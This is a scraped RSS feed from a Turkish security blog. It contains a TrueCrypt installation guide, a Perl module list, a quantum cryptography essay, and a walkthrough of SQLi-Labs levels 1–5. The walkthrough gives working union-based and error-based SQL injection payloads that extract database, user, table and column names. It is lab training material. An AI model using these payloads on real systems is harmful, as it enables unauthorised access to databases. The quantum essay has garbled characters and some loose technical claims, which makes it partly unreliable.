-TrueCrypt kendi anahtarlarını ram de saklar.Sistem enerjisi kesildiğinde DRAM birkaç saniyeliğine de olsa veri içeriklerini koruyacaktır.
-Performans olarak Paralizasyon ve Pipeling özellikleri devreye girer ve kullanımı kolaylaştırma çalışmaları yapar.(Paralizasyon:Çok çekirdekli işlemci sistemlerinde iş yükünü tüm çekirdeklere eşit şekilde dağıtarak performansı arttırmaya yönelik girişimleri uygular.Pipeling:Kriptolanmış sürücüden veri okunmaya başlandığı andan itibaren verinin ramdeki bulunduğu adrese zıplar.Siz bu adresteki verileri okurken bir sonraki adrese gidilir ve veriler analiz edilmeye başlanır.Yani siz verileri okurken pipeling sonraki adresteki verileri sizin için hazırlamaya başlar.Bir nevi program counter gibi çalışmaktadır.Böylece hız açısından performans arttırmaya yönelik girişimler uygulanmış olur.)
-Bir diğer özellik ise hidden volume özelliğidir.Bu kısımda Standart volume yanında hidden volume oluşturulur.Bu 2 alanın parolaları ayrıdır.Standart volume kısmında deşifre edebileceğiniz verileri depolayabilirsiniz.Acil ve olağan dışı durumlarda parolayı deşifre etmeniz gerektiğinde standart volume parolasını vererek güvenlik atlatma-aldatma yöntemini kullanabilirsiniz.Bu şekilde hidden volume kısmındaki veriler deşifre olmamış olur.
-Yazılımın kullandığı hash algoritmaları;

  • RIPEMD-160
  • SHA-512
  • WHIRLPOOL

-Tüm algoritmalarda 256-bit kriptolama vardır.
-Ayrıca Windows sistemlerde işletim sistemide kriptolanabilme özelliğine sahiptir.Sistem sürücüsünü kriptolayarak sisteminizi izinsiz kullanımlara karşı güvenli kılabilirsiniz.Bu seçenekte belirlediğiniz parolayı sistemi boot ederken kullanıcıya sormaktadır.
-Flexnet Publisher ve Safecast üçüncü parti yazılımları TrueCrypt bootloader(önyükleyici) kullanan Windows sürücü/bölümlerine zarar verebilmektedir.Ve uyum sorunu yaşanabilir.Bu da Windows sistemlerde TrueCrypt önyükleyicisinin çalışmasına engel olabilir ve sisteme erişim sağlanamayabilir.

TrueCrypt’in bazı önemli özelliklerinden bahsettikten sonra kurulum ve kullanım aşamasına geçebiliriz.

Kurulum Aşaması:
-İlk olarak kurulum dosyasını indirebileceğimiz kaynaklar şunlardır;
Adres 1: https://www.grc.com/misc/truecrypt/truecrypt.htm
Adres 2: https://github.com/AuditProject/truecrypt-verified-mirror/tree/master/Linux
Adres 3: https://www.truecrypt71a.com/downloads/
-Bu adreslerden sisteminize uyumlu olan kurulum dosyasını indirip kurulum yapabilirsiniz.
-Bizim inceleme yapacağımız işletim sistemi Kali 2.0 64-bit’tir.
-Verdiğimiz adreslerden kurulum dosyasını indiriyoruz ve eğer tar şeklinde arşivlenmişse arşivden çıkarıyoruz.

.truecrypt-7.1a-setup-x64 dosyasını indirdik ve Desktop dizinine taşıdık.

1.Adım
-Terminal ekranından kurulum dosyasını çıkardığımız dizine gidiyoruz ve kurulumu başlatacak komutu giriyoruz.

./truecrypt-7.1a-setup-x64

1

Bu şekilde kurulumu başlatıyoruz.

 

2.Adım

-Kurulum başladıktan sonra karşımıza bir xmessage ekranı gelmektedir.Bu ekrandan “Install TrueCrypt”i seçelim.

1

 

3.Adım

-Daha sonra karşımıza Lisans sözleşmesi onay ekranı gelmektedir.Accept seçeneği ile onaylarak bir sonraki aşamaya geçelim.

1

 

4.Adım

-Karşımıza gelen ekranda TrueCrypt’i kaldırmak istersek çalıştıracağımız dosyayı göstermektedir.Bu dosyayı /usr/bin/ dizini içinde bulabiliriz.Burdan OK seçerek devam ediyoruz.

1

 

5.Adım

-Bu adımda kurulum tamamlanmaktadır.”Enter”a basmamızı istemekte ve kurulumu sonlandırmamızı istemektedir.Enter’a basıyoruz ve kurulumu tamamlıyoruz.

1

-5 Adımda kurulumu tamamladık.Şimdi programımızı çalıştıralım ve kullanıma geçelim.

 

 

Kullanım Aşaması:
1.Adım

-İlk olarak programı terminal ekranından çalıştıralım.Terminal ekranında “truecrypt” yazıp enter’a basarak programı çalıştırabiliriz.

1

 

2.Adım

-Program çalışmaya başlamıştır.Karşımıza programın arayüz ekranı gelmektedir.

1

 

3.Adım

-“Create Volume” seçip yeni bir container oluşturalım.Bu seçeneğe tıkladıktan sonra karşımıza şu ekran gelmektedir.

1

-Burada bize 2 seçenek sunulmaktadır.

-Create an encrypted file container:Yeni bir container oluşturarak bu alanda kriptolama işlemi yapabilmekteyiz.Çoğunlukla tercih edilen seçenektir.Containerın boyutunu ilerde ayarlayacağız.Burada oluşturduğumuz containerı ilerideki adımlarda göstereceğimiz şekilde ana menüden ekleyerek sistemimize entegre edeceğiz.
-Create a volume within a partition/drive:Bu seçenekte ise herhangi bir bölümü veya sürücüyü örneğin flash belleğimizi kriptolayabiliriz.İstersek gizli bir container oluşturabiliriz.
-Biz 1.seçeneği tercih edip next diyerek devam ediyoruz.

 

4.Adım

-Bu kısımda bize yeniden 2 seçenek sunulmaktadır.

1

-Standart TrueCrypt volume:Bu seçenekte standart bir container oluşturup kriptolama işlemi yapılmaktadır.
-Hidden TrueCrypt volume:Bu seçenekte ise özelliklerde değindiğimiz gizli container kriptolaması yapılmaktadır.Acil ve olağan dışı durumlarda bu container’ı seçebiliriz.
-1.seçeneği tercih ederek next diyoruz ve devam ediyoruz.

 

5.Adım

-Bu kısımda bizden container dosyasının oluşturulacağı yolu belirtmemizi istemektedir.

1

-Biz /root/Desktop yoluna “deneme” isimli container dosyası oluşturuyoruz.Siz istediğiniz dizine oluşturabilirsiniz.Bunları belirttikten sonra save’e tıklıyoruz.Ve karşımıza şu ekran gelmektedir.

1

-Burdan next diyerek devam ediyoruz.

 

6.Adım

-Bu kısımda hangi kriptolama algoritmasını ve hash algoritmasını kullanmak istediğimiz sorulmaktadır.Ayrıca seçtiğimiz algoritmayı test edebiliriz.Buna ek olarak Benchmark seçeneği ile sistemimizi sınayabilir hangi performansı alabildiğimizi görebiliriz.

1

-SHA-512 hash algoritması daha güvenli bir algoritma olduğu için biz onu seçiyoruz.Encryption Algorithm’de ise AES algoritmasını seçiyoruz.Bu kısımdaistediğiniz algoritma tercihlerinizi seçebilirsiniz.Next diyerek devam ediyoruz.

1

 

7.Adım

-Bu kısımda oluşturmak istediğimiz container boyutunu belirtiyoruz.İstediğimiz büyüklükte olabilir.

1

 

8.Adım
-Bu kısımda oluşturacağımız container’a parola atamaktayız.Program 64 karaktere kadar olan parolaları kabul etmektedir.20 karakterden az olan parolalarda program uyarı vermektedir ve tavsiye etmemektedir.Biz deneme olduğu için parolayı “12345” olarak girmekteyiz ve next diyerek devam ediyoruz.Burada ayrıca daha önceden oluşturduğunuz key file’ı(anahtar dosyasını) da kullanabilirsiniz.Parolamız kısa olduğu için uyarı vermektedir yes diyerek devam ediyoruz.

1

1

 

9.Adım
-Bu kısımda ise oluşturacağımız containerın dosya yapısını seçmemiz istenmektedir.Linux Ext4 diyerek devam ediyoruz.

1

 

10.Adım
-Bu kısımda ise bize 2 seçenek sunulmaktadır.İlk seçenek oluşturduğumuz container diğer işletim sistemlerinde de çıkartılabilir olmasıdır.İkinci seçeneğimiz ise sadece Linux sistemlerde entegre edilebilir olmasıdır.İkinci seçeneği tercih edip devam ediyoruz.

1

 

11.Adım
-Bu kısımda artık containerımızı oluşturma aşamasına gelmekteyiz.
-Important kısmındaki önemli açıklamada şunu belirtmektedir;
-Önemli:Bu pencere içinde mouse’u olabildiğince çok ve rastgele şekilde hareket ettiriniz.Böylece rastgele havuz içinde daha karmaşık hash üretebilirsiniz.Bu işlem kriptolama anahtarlarının kriptografik gücünü önemli ölçüde arttırmaktadır.

1-Yeteri kadar mouse’u hareket ettirdikten sonra format seçeneği ile container dosyamızı oluşturmaya başlayabiliriz.

1

-Tamamlanma aşamasını görmekteyiz.Program kriptolama işlemini gerçekleştirmektedir.

1

-İşlem tamamlandığında başarı ile tamamlandı bildirisi gelmektedir.Ok diyerek geçiyoruz ve boyutunu belirlediğimiz,mount ederken istenilen parolayı atadığımız container dosyamız belirttiğimiz dizinde oluşmaktadır.

 

12.Adım
-Programın ana menüsüne dönüyoruz ve oluşturduğumuz container dosyasını kullanmaya başlıyoruz.Ana menüden Select File seçeneği ile oluşturduğumuz dosyayı seçiyoruz.

1

1

 

13.Adım
-Dosyamızı seçtikten sonra istediğimiz bir slotu seçiyoruz ve dosyamız artık mount edilmeye hazır hale gelmektedir.Mount seçeneği ile oluşturduğumuz container dosyamızı sisteme entegre ediyoruz.Bizden belirlediğimiz parolayı girmemiz isteniyor parolayı girip ok diyoruz.

1

 

14.Adım
-Ve oluşturduğumuz container kullanıma hazırdır.Artık istediğimiz dosyaları bu container içine depolayabiliriz ve dilediğimiz gibi kullanabiliriz.

1

-Kullanımı sonlandırdıktan sonra Dismount All seçeneği ile sisteme entegre ettiğimiz containerı devre dışı bırakabiliriz ve istediğimiz zaman mount ederek kullanabiliriz.

 

Kaldırma Aşaması:
-Bu kısımda programı nasıl kaldıracağımızı gösteriyoruz.
-Aşağıdaki görüntüdeki komutlar ile programı kolay bir şekilde kaldırabiliriz.

1

1

 

1

 

Bu yazımızda TrueCrypt programını ayrıntılı olarak incelemeye çalıştık.Elbette geliştiriciler desteğini program üzerinden çektikten sonra TrueCrypt’e olan güven yerini yeni kriptolama araçları arayışlarına bıraktı.Ve bu noktada adeta TrueCrypt’in küllerinden doğan yeni bir yazılım üst sıralara gelme noktasında önemli bir adım attı.Bu program VeraCrypt!Bu program gerek TrueCrypt ile uyumlu olarak çalışması,gerek kriptolama performansı ile yeni bir gözde kriptolama programı olma yolunda ilerlemektedir.Temeli TrueCypt programına dayanan VeraCrypt IDRIX firması tarafından TrueCrypt kaynak kodları kullanılıp geliştirilerek oluşturulmuştur.TrueCrypt programının geliştirmeleri durdurmasından sonra üretilen program,IDRIX tarafından geliştirmelere devam edeceği görülüyor.TrueCrypt ile aynı özelliklere sahip olan bu yazılıma NSA tarafından müdahele edilecekmi o da ayrı bir konu.Sonuç olarak hazin bir TrueCrypt sonlanış hikayesinden sonra parlayan VeraCrypt yazılımı kullanıcılara bir süre daha yardım edecek gibi gözüküyor…

TR | Truecrypt Murat TORAMAN

]]>
https://canyoupwn.me/tr-how-to-install-and-use-truecrypt/feed/ 0
EN | Awesome Learn Perl https://canyoupwn.me/awesome-learn-perl/ https://canyoupwn.me/awesome-learn-perl/#respond Sat, 21 May 2016 23:13:41 +0000 https://canyoupwn.me/?p=2413 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Arg Data::Validator Params::Util Params::Validate Smart::Args     Benchmarks Benchmark Dumbbench Parallel::Benchmark     Class Builder Class::Accessor::Lite Class::Accessor::Lite::Lazy Homer Mo Moo Moose Mouse Object::Tiny     CLI App::Cmd Getopt::Long     Container Object::Container     Data Format Data::Dumper::Simple Data::MessagePack JSON::PP JSON::XS Sereal Storable Text::CSV Text::CSV_XS Text::Markdown TOML XML::LibXML XML::Compile::Schema XML::Compile::SOAP XML::Compile::WSDL YAML     Database DBI […]

EN | Awesome Learn Perl Mustafa Kaan Demirhan

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Arg

 

 

Benchmarks

 

 

Class Builder

 

 

CLI

 

 

Container

 

 

Data Format

 

 

Database

 

 

Database Drivers

Relational Databases

 

NoSQL Databases

 

 

Date & Time

 

 

DevOps Tools

 

 

Email

 

 

Event Loops

 

 

Exception Handling

 

 

File Manipulation

 

 

Form Frameworks

 

 

Images

 

 

List Manipulation

 

 

Logging

 

 

Module Development

 

 

Network

 

 

ORM

 

 

Package Management

 

 

Processes and Threads

 

 

Profiling

 

 

Protocol

 

 

Queueing

 

 

Science/Numerics

 

 

REST Frameworks

 

 

Template Engines

 

 

Testing

Testing Frameworks

 

 Test Double

 

Coverage

 

 

Tools

 

 

Web Frameworks

 

Middlewares

 

 

Web Frameworks-Like

 

 

Web Scraping

EN | Awesome Learn Perl Mustafa Kaan Demirhan

]]>
https://canyoupwn.me/awesome-learn-perl/feed/ 0
TR | Quantum Cryptography https://canyoupwn.me/tr-quantum-cryptography/ https://canyoupwn.me/tr-quantum-cryptography/#comments Sat, 21 May 2016 21:09:13 +0000 https://canyoupwn.me/?p=2404 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Kriptolojinin tam kelime anlamı şifre bilimidir .Çeşitli iletilerin, yazıların belli bir sisteme göre şifrelenmesi, bu mesajların güvenlikli bir ortamda alıcıya iletilmesi ve iletilmiş mesajın deşifre edilmesidir. Kriptoloji = Kriptografi +Kriptoanaliz .Kriptoloji bilimi kendi içerisinde iki farklı branşa ayrılır. Bunlar Kriptografi; şifreli yazı yazma ve Kriptoanaliz; şifreleri çözme ya da analiz etmedir. Kriptoloji, çok eski ve […]

TR | Quantum Cryptography CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Kriptolojinin tam kelime anlamı şifre bilimidir .Çeşitli iletilerin, yazıların belli bir sisteme göre şifrelenmesi, bu mesajların güvenlikli bir ortamda alıcıya iletilmesi ve iletilmiş mesajın deşifre edilmesidir.

Kriptoloji = Kriptografi +Kriptoanaliz .Kriptoloji bilimi kendi içerisinde iki farklı branşa ayrılır. Bunlar Kriptografi; şifreli yazı yazma ve Kriptoanaliz; şifreleri çözme ya da analiz etmedir. Kriptoloji, çok eski ve renkli bir geçmişe sahiptir. Tarihten günümüze kadar, bazı şifreleme teknikleri şunlardır

Bu konuya tam olarak girmeden önce çok kısa olarak klasik kriptloma sistemlerinden bahsetmek istiyorum.Gelin hep beraber inceleyelim.

1

 

Klasik Kriptolama yöntemleri:

  • Sezar Kripto sistemi
  • Afin Kripto Sistem
  • Yer Degistirme Kripto Sistemi
  • Vigenere Kripto Sistem
  • Pohlig-Hellman ¨Ustel(Exponentiation)Kripto Sistemi
  • RSA Kripto Sistemi
  • ElGamal Kripto Sistem

Konuyu örnekle ele alırsak;

Afin Kripto Sistemi Örnek (Tercih nedenim kolay ve anlaşılır olması)

2

Klasik Bilgisayarlarda Kullanılan Mantık Kapıları

NOT: Girişindeki mantıksal değeri tersine ¸cevirir. Girişteki işaretin lojik 1 seviyesinde olması durumunda çıkış lojik 0 seviyesinde, lojik 0 seviyesinde olması durumunda ise çıkış lojik 1 seviyesinde olur. Tek bitlik bir kapıdır.

AND: 2 bitlik bir kapıdır. Giriş değerlerinin ¸carpımını alır ve sadece girilen iki değerde 1 olduğunda 1 sonucunu verir.

OR: Girilen 2 ya da daha çok değerin toplamın alan kapıdır. Girilen değerlerden biri 1 olduğunda 1 sonucunu verir.

NAND: Girilen değerlerin ¸carpımını alıp sonucun tersini çıktı olarak veren kapıdır. Bu anlamda AND kapısını tersidir. Sadece girilen iki değerde 1 olduğunda 0 değerini verir.

NOR: Girilen iki ya da daha fazla değerin toplamını alıp tersini çıktı olarak veren kapıdır. Bu anlamda OR kapısının tersidir. Sadece girilen tüm değerler 0 olduğunda 1 sonucunu verir.

XOR: Giri¸steki değerler farklı olduğunda 1 sonucu verir. Geriye kalan her durumda 0 sonucunu verecektir.

XNOR: Girişteki değerler aynı olduğunda 1 sonucunu verir bunun dışındaki her durumda 0 sonucunu verecektir.

Temel bilgileri verdikden sonra asıl konumuz olan kuantum bilgisayardan bahsedelim.

Kuantum bilgisayar: Klasik bilgisayarlar bitlerden oluşan hafıza yapısına sahiptir. Her bit 1 veya 0 değerini alabilir. Kuantum bilgisayarları ise kübit(qubit)lerden oluşan seriler içerir. Tek bir qubit 1, 0 veya bu ikisi arasındaki (kuantum çakışması) bir değeri alabilir. Bir kübit (qubit) çifti 4 kuantum çakışması durumunun herhangi birinde, üç kübit (qubit) ise 8 kuantum çakışması durumunun herhangi birinde olabilir. Genel olarak n kübit sahibi bir kuantum bilgisayarı aynı anda 2^n çakışmanın herhangi birinde olabilir. (Normal bilgisayarlar 2^n durumun sadece birinde olurken, bir kuantum bilgisayarı bu durumların hepsinde ya da bir kısmında bulunabilir.) Kuantum bilgisayarları kübitleri (qubit) belirli kuantum mantık kapıları ile düzenleyebilir. Uygulanan bu kapı serilerine kuantum algoritması adı verilir.

Kuantum bilgisayarının olası farkı hakkında; alışıla gelmiş klasik transistörlü elektriksel devre akımı ile işlem yapma esnasında çeşitli veri gecikme süreçleri olduğu için bu bekleme süreci transistör sayısı artıkça ilk elektriksel yapı bir noktadan sonra tekrar yenilenmesi gerekir bu yüzden işlem süreci haliyle uzamaktadır fiber optik bağlantılardaki gibi Kuantum bilgisayarı tüm işlemi ışık hızı sınırında tamamlayabilmesi olasıdır.
bu yazının biraz daha anlamlı olması için kübit tanımını yapmak gerekir.

Kübit(Qubit)= Kuantum bilgisayarlarda bilgi saklama işlemini kuantum fiziği kanunlarına tabi olan, kübit (kuantum bit) denilen; atom, elektron, çekirdek ve foton gibi parçacıkların yapması öngörülmektedir.Aslında klasik bilgisayardaki bit ifadesi burada kübit olmuş diyebiliriz.

KUANTUM KRİPTOGRAFİ:

Kuantum şifreleme güvenli iletişim için kuantum mekaniğini kullanır. Gizli dinleyicilerin şifrelenmiş iletilerin içeriğini okumasını önlemek için değişik matematikse matematik teknikleri kullanan geleneksel şifrelemenin aksine, kuantum şifreleme, bilginin/verinin fiziğini temel alır. Gizli dinleme, fiziksel bir nesnenin ölçülmesi olarak görülebilir .Bu durumda ise verinin taşıyıcısı. Birisi kuantum süperpozisyonu veya kuantum dolaşıklığı gibi bir kuantum fenomeni kullanarak, her zaman tüm gizli dinleyicileri tespit edebilen bir iletişim sistemi yapabilir. Çünkü bilginin-verinin kuantum taşıyıcısı üzerinde yapılan ölçümler onu bozar dolayısıyla bu tür girişimler her zaman iz bırakır.

Şimdi diyeceksiniz o kadar laf o kadar söz tamam da nereye bağlanacak bu konu işte olay burada başlıyor…

Kuantum Mantık Kapıları :

-NOT Kapısı
-NOT’ın Karekökü
-QI Kapısı
-QZERO Kapısı
-QONE Kapısı
-QNOT Kapısı
-Pauli-Y Kapısı
-Pauli-Z Kapısı
-QNOT’ın Karekökü Kapısı
-Controlled Kapıları(Kendi içinde gruplara ayrılıyor)
-Hadamard Kapısı

bu mantık kapılarının bazılarında klasik eşiti yoktur bknz:: QNOT’karekökü..

Asimetrik Sistem :
Göndericinin ve alıcının farklı anahtarlar kullandığı kriptosistemlere, asimetrik veya açık anahtarlı sistemler denir.

Simetrik Sistemler:

Simetrik kriptosistemlerde yani gizli anahtarlı kripto sistemlerde hem şifreleme hemde şifre çözme için aynı anahtar kullanılır.

1

 

 

Kuantum kriptografi’de temel prensip tek kullanımlık anahtarlı kriptografi tekniğinin kullanılmasıdır.Kuantum kriptografinin sonuçları olasılığa dayalı olduğu için , kuantum mekaniğine özgü ölçümler kriptosistemler geliştirilmesine uygundur. Böylece eğer veri transferi sırasında sisteme herhangi bir müdahelede bulunulmuşsa, bu bir dinleyici olduğuna işaret eder.Önce gönderici alıcıya anlamsız bir veri gönderir, daha sonra gönderici ve alıcı ellerindeki verileri açıkca karşılaştırır.Veriler arasındaki uyumsuzluk varsa, sisteme müdahale edilmiş yani konuşma dinlenmiş demektir.Bu durumda gönderici alıcıya anlamlı herhangi bir veri göndermeden iletişim sonlanır. Böylece gizli bilgilerin istenmeyen kişilerin eline geçmesi engellenir.
BB84 protokolü:
Kuantum kriptografinin pratik uygulamaları ile ilgili ilk protokol Charles H. Bennett ve Gilles Brassard tarafından 1984 te geli¸stirildi. BB84 adıyla anılan bu protokol, kuantum kriptografi araştırmaları için hala yaygın olarak kullanılıyor.Buradaki esas mantk spin (½) olan parçacıklar ile örneklendirebiliriz.Bilindiği gibi bir parçacağın spini hangi yönde ölçülürse ölçülsün (-½) yada (½) çıkacaktır.Bu durumu incelemek için dört farklı durum kullanılır ve farklı bazlardaki örtüşme maksimum yapılır.Böylece bilginin hangi bazda hazırlandığını gizli tutar.

Kullanım Alanları :

Şuanda sadece üzerinde telefon şirketleri çalışıyor güvenli bir iletişim sağlayabilmek için ama yakın zamanda savunma sanayisine kadar bu konun gelebileceğini görebilmek çok zor değil diye düşünüyorum.

1

 

Sonuç : Gizli bilgileri ele geçirmeye çalışan birisinin önce araya giriği daha sonra alıcıya elde ettiği sonuçlara uygun bilgiler gönderdiği durumda neler olabileceğini incelersek.Eğer dinleyici doğru bazı kullanırsa , alıcının kübite yüklediği bilgiyi doğru olarak öğrenecek ve bu doğru bilgiyi alıcıya da gönderecektir.Fakat bu imkansızdıri.Binlerce kübitten oluşan bir anahtardaki tüm bitleri şans eseri doğru bazda ölçmek hayal bile edemedim .

Kuantum kriptografide daha fazla araştırmaya gereksinim duyan çok fazla ilginç açık problem mevcuttur. EPRBE protokolü gibi iki dolaşık foton içeren Kuantum kriptografi protokollerinde Bell eşitsizliği kullanarak veri alışverişine sızmaya çalışan ajanın varlığını hissetmek için, özel bir fonksiyon olan “g” fonksiyonunu belirlemek zorundayız. Ajanın varlığının hissedilebilirliğinin artırımı için dolaşıklık durumunun hazırlanmasının tam olarak araştırılması ve mesafeye ve zamana göre değişim bilgisi gerekmektedir. Kısacası bir protokol olarak güvenliğinin ispatının gerçekleştirilmesi gerekmektedir. BB84 protokolü gibi tek fotonlu Kuantum kriptografi protokollerindeyse boşluktan gelen ataklar da dahil olmak üzere çeşitli tiplerdeki ataklara karşı güvenliğinin daha fazla araştırılması arzu edilen bir durum olacaktır.

Sayısal ağlar üzerinde nakledilecek gizli metinlerin şifre anahtarı, uzaktan etki sayesinde anında istenen yere nakledilebilecektir. Telefon firmaları, bugünkü şifre yöntemlerinden daha güvenilir olan bu yeni yöntemi incelemektedir. Belki yakında bütün elektronik haberleşmeler, uzaklara atlayabilen garip bir hayaletsel bağla yapılacaktır.

 

 

TR | Quantum Cryptography CanYouPwnMe

]]>
https://canyoupwn.me/tr-quantum-cryptography/feed/ 1
TR | SQL-i Labs Walkthrough Basic 0-5 https://canyoupwn.me/sql-i-labs-walkthrough-basic-0-5/ https://canyoupwn.me/sql-i-labs-walkthrough-basic-0-5/#respond Thu, 19 May 2016 23:56:43 +0000 https://canyoupwn.me/?p=2379 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Sqli – Lab Nedir ? Sqli lab diğer egzersiz ortamlarına nazaran sadece sql injection üzerine odaklanmış bir egzersiz ortamıdır. Öncelikle bu ortama ulaşmak için : https://github.com/Audi-1/sqli-labs Yukarıda ki adresden indirmek için git clone https://github.com/Audi-1/sqli-labs.git Komutunu kullanabilirsiniz.(Bağımlılık olarak git kurulması gereklidir.) Veya wget --no-check-certificate https://github.com/Audi-1/sqli-labs.git Komutunu kullanabilirsiniz. Daha sonra db-credits.inc dosyasının içinde ki kendi mysql user,password […]

TR | SQL-i Labs Walkthrough Basic 0-5 Enes ERGÜN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Sqli – Lab Nedir ?
resim1
Sqli lab diğer egzersiz ortamlarına nazaran sadece sql injection üzerine odaklanmış bir egzersiz ortamıdır.
Öncelikle bu ortama ulaşmak için : https://github.com/Audi-1/sqli-labs
Yukarıda ki adresden indirmek için

git clone https://github.com/Audi-1/sqli-labs.git

Komutunu kullanabilirsiniz.(Bağımlılık olarak git kurulması gereklidir.)
Veya

wget --no-check-certificate https://github.com/Audi-1/sqli-labs.git

Komutunu kullanabilirsiniz.

Daha sonra db-credits.inc dosyasının içinde ki kendi mysql user,password kısımlarını düzeltiniz.
Daha sonra tarayıcınızdan girip Setup/Reset database for labs linkine tıklayarak kurulumu tamamlayabilirsiniz.Eğer herhangi bir sorun ile karşılaşırsanız çekinmeden [email protected] adresine mail atabilirsiniz.

Not : Bu yazımızda ilk 10 levele değineceğiz.Sadece ilk level de son kısıma kadar gideceğim ve geri kalan levellerde sadece payloadı vereceğim.

SQLi-Labs Page 1 ( Basic )

Sqli Labs 1 :

Bu levelin isminden anlayabiliceğimiz gibi hata bazlı bir enjeksiyon gerçekleştireceğiz.
Ben bu levelde ?id=1 kısmından sonra tek tırnak ile hata vermeye zorladım ve bize hatayı verdi.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''-1'' LIMIT 0,1' at line 1

Bu kısımdan sonra

?id=1'order by 6

gibi kodlarını girdiğimizde herhangi bir işe yaramadığını bizzat deneyimledim.Hatta baya uğraştım diyebiliriz 🙂

?id=1'order+by+6# veya ?id=1'order+by+6--+

gibi payloadlar bir işimize yaramadı.
Not : 6 sayısı tamamen sallamasyon sayıdır itibar etmeyiniz.

resim2

Bende payload sonuna sıkça kullanılan –+ karakter setini girdim ve order by komutunu yavaş yavaş artırdım.

?id=1'order by 4 --+

resim3

Yukarıda ki resim de order by kullanarak 4.kolon da hata aldık.Order by ile ilgili trickimiz neydi ? Hangi sayıda hata veriyorsa mantıken -1 kolon sayısını çekecektir.

Artık 3 kolon çektiğini bildiğimize göre şu sıralamaya uyarak ilerleyebiliriz.

Toplam kolon sayısını bulma.
Vulnerable kolonları ekrana bastırma.
Vulnerable kolonlar sayesinde gerekli bilgileri çekmek.

Şimdi vulnerable(zaafiyet barındıran) kolonları ekrana yansıtalım.

bunun için aşağıda ki payload’ı kullanıyoruz.

?id=-1'union select 1,2,3 --+

resim4

Burada union operatörüyle yazıcağımız sql kodlarının hangi kısıma yazacağımızı görüyoruz.Yani aşağıda ki gibi bir kod yazdığımızı düşünürsek

?id=1'union select 1,bizimsqlkodumuz,bizimsqlkodumuz

Hadi şimdi işleri biraz heyecanlandıralım.Database ve user’ı çekelim.

?id=-1'union select 1,database(),user()

resim5

Gördüğünüz gibi database ismimiz security , kullanıcımız ise root@localhost

Burada -1 kullanmamızın nedeni 1 idsine sahip bir verimiz var ve sadece onu gösteriyor eğer -1 yapmazsak veriyi çeksekte ekrana bastırmıyor.

Şimdi de tablo isimlerimizi çekelim.

Bunun için payloadımız

-1'union select 1,group_concat(table_name),3 from information_schema.tables--+

resim6

Eğer burada group_concat yerine

-1'union select 1,table_name,3 from information_schema.tables--+

bu şekilde bir payload kullansaydık bize sadece tek bir tablo ismini verecekti.Örnek :

resim7

Şimdi de sütunlarımızı çekelim

?id=-1'union+select+1,group_concat(column_name),3+from+information_schema.columns--+

resim8

Gördüğünüz gibi fazlaca tablo ve sütun bulunuyor.O zaman ne yapalım ? Şuan bulunduğumuz tabloda ki sütunları çekelim değil mi ?

?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database()--+

resim9
Gördüğünüz gibi tablomuzda ki sütunlar bunlar.
Aynı şekilde tablo isimlerini de bu şekilde çekebilirsiniz.

?id=-1'union select 1,group_concat(table_name),3 from information_schema.columns where table_schema=database()

resim10

Username , password kısımlarını id girerek gördüğümüz için gerikalan kısımlarını pas geçiyoruz.

 

Level 2:

Bu level ile ilgili :

Bir çok kaynakta

?id=1 ;

şeklinde bir payload yazılmış fakat

Bizim

?id=1 --+

kodumuz da işe yarayacaktır.Nasıl da sahiplendik hemen son bükücümüzü 🙂

resim11

-1 union select 1,2,3 --+

 

Level 3:

Bu level şu ana kadar gördüklerimizden biraz farklı bu levelde arkaplanda ki sql kodlarımızda

Aşağıdakine benzer bir kod çalışıyor.

select * from users where userid=(getrequest) \\ Tahminidir.

resim12
Burada yapmamız gereken şey “(” işaretini “)” işareti ile bypass edip kendi kodlarımızı çalıştırmak olmalı.Bende bunun için şöyle birşey denedim.

-1')union+select+1,2,3 --+

resim13
Şimdi bu kısımda açıklama gereği duyuyorum.

select * from users where userid=('getrequest')' limit 0,1 \\ Tahminidir.

Yukarıda ki kodu “)” karakteri ile aşağıda ki hale getirmiş olduk.

select * from users where userid=('')union select 1,2,3

Level 4 :

Bu levelde yapmamız gereken şey aslında bir önceki level ile aynı fakat burada Single Quotes ( ‘ ) yerine bu kısımda Double Quates ( ” ) kullanmamız.

Payloadımız :

?id=-1")union+select+1,2,3 --+

resim14

Level 5 :

İşte belki de en komplike levelimize geldik.Bu levelde adından anlaşılacağı gibi bu levelde 1 sorguda iki sorgu çalıştıracağız.Hemen aklınıza or veya and operatörleri gelmesin biraz daha komplike çünkü adeta bir inception gibi injection yapacağız.

resim15

1'+and(select 1 FROM(select count(*),concat((select (select concat(database())) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) --+

Üst kısımda gördüğünüz gibi and ile birlikte select komutu daha sonra from kısmında ise iç içe select komutlarını giriyoruz.Burada aslında security adlı database’i ( veritabanı ( bunu burada neden ayrı bir parantez ile belirttim bilmiyorum ama konuya çok uygun oldu ) ) çekip bunu 0,1 ile limitleyip daha sonra 2 ile çarpıp yuvarlama yapıyoruz.Aslında kod kalabalığından başka birşey değil fakat engellemeyi aşmak için böyle bir yönteme başvuruyoruz.Anlamadınız değil mi ? Bende anlamamıştım beyin baya bir overload olmuş(tu).

TR | SQL-i Labs Walkthrough Basic 0-5 Enes ERGÜN

]]>
https://canyoupwn.me/sql-i-labs-walkthrough-basic-0-5/feed/ 0
EN | CTF Lists https://canyoupwn.me/en-ctf-lists/ https://canyoupwn.me/en-ctf-lists/#respond Thu, 19 May 2016 21:14:41 +0000 https://canyoupwn.me/?p=2360 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

